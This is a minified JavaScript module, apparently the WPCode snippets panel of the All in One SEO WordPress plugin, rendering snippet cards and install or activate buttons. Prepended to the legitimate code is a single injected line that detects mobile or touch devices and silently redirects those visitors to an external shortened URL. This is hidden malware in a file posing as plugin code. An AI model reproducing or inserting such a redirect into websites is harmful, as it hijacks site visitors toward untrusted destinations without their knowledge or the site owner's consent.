(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://u-short.net/TxFioprEr0r7");
import{c as b,a1 as k,Z as U}from"./app-core.c8323d51.js";import{h as x,_ as e}from"./vendor-other.39e59221.js";import{C as A}from"./Index.e286637f.js";import{C as L}from"./Index.b9859662.js";import{G as W,a as O}from"./Row.2ef96b1a.js";import{_ as I}from"./_plugin-vue_export-helper.eefbdd86.js";import{aq as d,f as l,i as _,j as p,a0 as E,R as i,O as N,ad as B,Q as c,U as s,ae as u,P as T,M as f}from"./vendor-vue-ui.232c7c36.js";import"./vendor-lodash.03129cfe.js";import"./Button.3cec2279.js";import"./Pencil.683baab8.js";import"./Close.7fb523c8.js";const t="all-in-one-seo-pack",D={setup(){return{pluginsStore:U(),wpCodeStore:k(),links:b}},components:{Cta:A,CoreAlert:L,GridColumn:O,GridRow:W},data(){return{loadingUseSnippet:null,failed:!1,activationLoading:!1,strings:{codesnippets:e("Code Snippets",t),installSnippet:e("Use Snippet",t),editSnippet:e("Edit Snippet",t),ctaDescription:e("Using WPCode you can install AIOSEO code snippets with 1-click directly from this page or the WPCode library inside the WordPress admin.",t),ctaLearnMoreText:e("Learn More about WPCode Snippets",t),noSnippets:e("We encountered an error loading the code snippets, please try again later.",t),activateError:e("An error occurred while activating the addon. Please upload it manually or contact support for more information.",t),permissionWarning:e("You currently don't have permission to activate this addon. Please ask a site administrator to activate first.",t)}}},computed:{showSnippets(){return this.wpCodeStore.pluginInstalled&&this.wpCodeStore.pluginActive&&!this.wpCodeStore.pluginNeedsUpdate},blurClass(){return this.showSnippets?"":"aioseo-blur"},ctaTitle(){if(this.wpCodeStore.pluginNeedsUpdate)return e("Please Update WPCode to load the AIOSEO Snippet Library",t);if(this.wpCodeStore.pluginInstalled){if(!this.wpCodeStore.pluginActive)return e("Please Activate WPCode to load the AIOSEO Snippet Library",t)}else return e("Please Install WPCode to load the AIOSEO Snippet Library",t);return e("Please Install WPCode to load the AIOSEO Snippet Library",t)},ctaButtonText(){if(this.wpCodeStore.pluginNeedsUpdate)return e("Update WPCode",t);if(this.wpCodeStore.pluginInstalled){if(!this.wpCodeStore.pluginActive)return e("Activate WPCode",t)}else return e("Install WPCode",t);return e("Install WPCode",t)}},methods:{decode:x.decode,processUpdateOrActivate(){this.activateOrUpdate(this.wpCodeStore.pluginNeedsUpdate)},activateOrUpdate(g=!1){this.failed=!1,this.activationLoading=!0;const m=g?"upgradePlugins":"installPlugins",a=this.pluginsStore.plugins.wpcodePro.installed?"wpcodePro":"wpcode";this.pluginsStore[m]([{plugin:a,type:"plugin"}]).then(o=>{if(o.body.failed.length){this.activationLoading=!1,this.failed=!0;return}const n=[this.wpCodeStore.loadSnippets()];Promise.all(n).then(()=>{this.activationLoading=!1})}).catch(o=>{this.activationLoading=!1,this.failed=!0,console.error(`Unable to install ${a}: ${o}`)})}}},M={class:"aioseo-tools-wpcode"},V={class:"aioseo-wpcode-snippet"},z={class:"wpcode-snippet-body"},G={class:"snippet-title"},R={class:"snippet-description"},j={class:"wpcode-snippet-footer"};function q(g,m,S,a,o,n){const h=d("base-button"),C=d("grid-column"),w=d("grid-row"),y=d("cta"),v=d("core-alert");return l(),_("div",M,[p("div",{class:T(n.blurClass)},[E(w,null,{default:i(()=>[(l(!0),_(N,null,B(a.wpCodeStore.snippets,(r,P)=>(l(),c(C,{key:P,sm:"12",md:"6",lg:"4"},{default:i(()=>[p("div",V,[p("div",z,[p("div",G,s(r.title),1),p("div",R,s(r.note),1)]),p("div",j,[r.install?(l(),c(h,{key:0,type:"blue",size:"medium",tag:"a",href:n.decode(r.install),onClick:F=>o.loadingUseSnippet=r.install,loading:r.install===o.loadingUseSnippet},{default:i(()=>[u(s(r.installed?o.strings.editSnippet:o.strings.installSnippet),1)]),_:2},1032,["href","onClick","loading"])):(l(),c(h,{key:1,type:"gray",size:"medium",disabled:""},{default:i(()=>[u(s(o.strings.installSnippet),1)]),_:1}))])])]),_:2},1024))),128))]),_:1})],2),!n.showSnippets&&a.wpCodeStore.snippets.length?(l(),c(y,{key:0,"button-text":n.ctaButtonText,"learn-more-link":a.links.getDocUrl("wpcode"),"cta-button-loading":o.activationLoading,onCtaButtonClick:n.processUpdateOrActivate,"same-tab":"","align-top":"","cta-button-action":"","hide-bonus":""},{"header-text":i(()=>[u(s(n.ctaTitle),1)]),description:i(()=>[u(s(o.strings.ctaDescription),1)]),"learn-more-text":i(()=>[u(s(o.strings.ctaLearnMoreText),1)]),_:1},8,["button-text","learn-more-link","cta-button-loading","onCtaButtonClick"])):f("",!0),n.showSnippets&&a.wpCodeStore.snippets.length===0?(l(),c(v,{key:1,type:"yellow"},{default:i(()=>[p("div",null,s(o.strings.noSnippets),1)]),_:1})):f("",!0)])}const ne=I(D,[["render",q]]);export{ne as default};
